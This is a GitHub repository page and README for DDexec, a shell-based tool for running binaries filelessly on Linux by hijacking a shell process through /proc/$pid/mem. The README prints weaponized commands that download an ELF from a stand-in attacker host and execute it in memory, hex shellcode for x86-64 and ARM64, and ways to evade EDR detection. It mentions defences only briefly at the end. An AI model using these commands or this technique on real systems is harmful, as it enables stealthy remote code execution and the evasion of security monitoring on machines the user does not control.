Sign in

arget13 / DDexec Public

Notifications · Fork 83 · Star 798

Code · Issues 2 · Pull requests 2 · Actions · Security · Insights

main · Go to file · Code

- .github
- LICENSE
- README.md
- ddexec.sh
- ddsc.sh

README · GPL-3.0 license

DDexec

Context

In Linux in order to run a program it must exist as a file, it must be accessible in some way through the file system hierarchy (this is just how `execve()` works). This file may reside on disk or in ram (tmpfs, memfd) but you need a filepath. This has made very easy to control what is run on a Linux system, it makes easy to detect threats and attacker's tools or to prevent

About

A technique to run binaries filelessly and stealthily on Linux by "overwriting" the shell's process with another.

linux · pentesting · evasion · pentesting-tools

Readme

GPL-3.0 license

Activity

798 stars

14 watching

83 forks

Report repository

Languages

● Shell 100.0%

them from trying to execute anything of theirs at all (*e. g.* not allowing unprivileged users to place executable files anywhere).

But this technique is here to change all of this. If you can not start the process you want... then you hijack one already existing.

Usage

Pipe into the `ddexec.sh` script the base64 of the binary you want to run (**without** newlines). The arguments for the script are the arguments for the program (starting with `argv[0]`).

Here, try this:

```
base64 -w0 /bin/ls | bash ddexec.sh ls -lA
```

which is easily weaponizable with something like

```
wget -O- https://attacker.com/binary.elf | base
```

There is also the `ddsc.sh` script that allows you to run binary code directly. The following is an example of the use of a shellcode that will create a memfd (a file descriptor pointing to a file in memory) to which we can later write binaries and run them, from memory obviously.

```
bash ddsc.sh -x <<< "68444541444889e74831f64889
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4
```

In ARM64 the process is similar, only the shellcode changes

```
bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0
```

And yes. It works with meterpreter.

Tested Linux distributions are Debian, Alpine and Arch. Supported shells are bash, zsh and ash (busybox); on x86_64 and aarch64 (arm64) architectures.

EverythingExec

As of 12/12/2022 I have found a number of alternatives to `dd`, one of which, `tail`, is currently the default program used to `lseek()` through the `mem` file (which was the sole purpose for using `dd`). Said alternatives are:

```
tail
hexdump
cmp
xxd
```

Setting the variable `SEEKER` you may change the seeker used, *e. g.*:

```
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w
```

If you find another valid seeker not implemented in the script you may still use it setting the `SEEKER_ARGS` variable:

```
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.
```

Block this, EDRs.

Dependencies

This script depends on the following tools to work.

```
tail | dd | hexdump | any other program that al
bash | zsh | ash (busybox)
head
tail
cut
grep
```

```
od
readlink
wc
tr
basename
base64
```

The technique

If you are able to modify arbitrarily the memory of a process then you can take over it. This can be used to hijack an already existing process and replace it with another program. We can achieve this either by using the `ptrace()` syscall (which requires you to have the ability to execute syscalls or to have gdb available on the system) or, more interestingly, writing to `/proc/$pid/mem`.

The file `/proc/$pid/mem` is a one-to-one mapping of the userland's address space of a process (*e. g.* from `0x0` to `0x7ffffffffffff000` in x86-64). This means that reading from or writing to this file at an offset `x` is the same as reading from or modifying the contents at the virtual address `x`.

Now, we have three basic problems to face:

- In general, only root and the program owner of the file may modify it.
- ASLR.
- If we try to read or write to an address not mapped in the address space of the program we will get an I/O error.

But we have clever solutions:

- Most shell interpreters allow the creation of file descriptors that will then be inherited by child processes. We can create a fd pointing to the `mem` file of the sell with write permissions... so child processes that use that fd will be able to modify the shell's memory.

- ASLR isn't even a problem, we can check the shell's `maps` file from the procfs in order to gain information about the address layout of the process.
- So we need to `lseek()` over the file. From the shell this can be done using a few common binaries, like `tail` or the infamous `dd`, see the *EverythingExec* section for more information.

In more detail

The steps are relatively easy and do not require any kind of expertise to understand them:

- Parse the binary we want to run and the loader to find out what mappings they need. Then craft a *shell*code that will perform, broadly speaking, the same steps that the kernel does upon each call to `execve()`:
  - Create said mappings.
  - Read the binaries into them.
  - Set up permissions.
  - Finally initialize the stack with the arguments for the program and place the auxiliary vector (needed by the loader).
  - Jump into the loader and let it do the rest (load and link libraries needed by the program).
- Obtain from the `syscall` file the address to which the process will return after the syscall it is currently executing.
- Overwrite that place, which will be executable, with our shellcode (through `mem` we can modify unwritable pages).
- Pass the program we want to run to the stdin of the process (will be `read()` by said *shell*code).
- At this point it is up to the loader to load the necessary libraries for our program and jump into it.

Oh, and all of this must be done in s**hell** scripting, or what would be the point?

Contribute

Well, there are a couple of TODOs. Besides this, you may have noticed that I do not know much about shell scripting (I am more of a C programmer myself) and I am sure I must have won a decade worth of "useless use of a cat" awards (no cats were harmed in the making of this tool) and the rest of variants just with a fraction of this project.

- Improve code style and performance.
- Port to other shells.
- Allow run the program with a non-empty environment.

Anyway, **all contribution is welcome**. Feel free to fork and PR.

Credit

Recently I have come to know that Sektor7 had already published this almost-exact same technique on their blog a few years ago.

Despite this, I thought this technique independently in, now almost, its entirety. Probably the smarter piece of this technique is the use of the inherited file descriptor, idea provided by David Buchanan (inspired, I think, by Sektor7's blog) almost a year before I even started thinking about this topic. This alone not only makes the technique much simpler and neat, it also makes it far deadlier by eliminating the need to disable ASLR. His tweet also made me realize how *stupid* I was for not noticing that `mem` allowed to write to non-writable pages, hence making the ROP unnecessary... This ultimately also has the desired effect of making this significantly easier to port to other ISAs.

Either way, I hope I will be able to spread this technique much further, which is what matters.

I would like to thank Carlos Polop, a great pentester and better friend, for making me think about this subject, and for his helpful feedback and interest, oh and I also owe him the name of the project. I am sure that if you are reading this you have already used his awesome tool PEASS and found helpful some article in his book HackTricks.

Now what?

You may:

- Go distroless.
- Use a kernel compiled without support for the `mem` file.
- Detect any program opening or writing to the `mem` file.

Questions? Death threats?